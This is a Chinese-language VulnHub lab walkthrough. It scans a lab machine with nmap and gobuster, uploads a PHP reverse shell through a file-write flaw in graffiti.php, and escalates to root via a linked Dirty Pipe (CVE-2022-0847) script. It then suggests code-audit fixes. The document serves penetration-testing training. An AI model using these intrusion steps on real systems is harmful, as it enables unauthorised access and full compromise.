每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。
每日一攻防特色:
环境攻破: 以简单直白的方式攻破每日选择的渗透测试环境。
代码审计: 进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。
作者:大余
nmap 192.168.253.0/24 -sP
nmap 192.168.253.134 -p- -A
访问:http://192.168.253.134/
这里并没有有力的信息点!
gobuster dir -u http://192.168.253.134:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
发现:/graffiti.php /graffiti.txt
访问:http://192.168.253.134/graffiti.php
burpsuite进行分析:
发现存在文件上传命令漏洞:
上传一句话:
cp /usr/share/webshells/php/php-reverse-shell.php .
成功上传并反弹shell成功:
建立稳定shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
上传linpeas脚本进行枚举:
发现存在CVE-2022-0847漏洞:
CVE-2022-0847,也被称为"Dirty Pipe"漏洞,是Linux内核中的一个本地特权升级漏洞,影响了多个Linux发行版。该漏洞于2022年1月4日被公开披露。
https://github.com/r1is/CVE-2022-0847/blob/main/Dirty-Pipe.sh
成功利用并拿到root权限!
可看到源代码审计graffiti.php是存在安全隐患的!
可以通过 $_POST['file'] 参数传递文件路径,导致路径遍历攻击!用户提供的文件路径进行验证进行加固!
// 替换
$file=$_POST['file'];
// 为
$allowed_files = ["graffiti.txt", "another_file.txt"]; // 允许的文件列表
$file = in_array($_POST['file'], $allowed_files) ? $_POST['file'] : "graffiti.txt";
在写入文件时,使用 fclose($file); 尝试关闭文件资源,但 $file 已经是文件路径字符串而不是资源。应该使用之前打开的文件句柄 $handle。
// 替换
fclose($file);
// 为
fclose($handle);
在将用户输入写入文件之前,应该对输入进行适当的过滤和验证,以防止恶意脚本注入或其他形式的攻击。可以使用 htmlspecialchars 函数来转义用户输入。
// 替换
fwrite($handle, $_POST['message']);
// 为
fwrite($handle, htmlspecialchars($_POST['message']));
确保文件具有适当的访问权限,以防止未经授权的读写!
# 设置文件权限(示例,具体权限根据实际需求调整)
chmod graffiti.txt 644
通过每日一攻防,我致力于共同深探网络安全的奥秘,助力每位参与者成为网络安全领域的技术高手。立即加入大余安全,共同迎接每日新的挑战!
欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。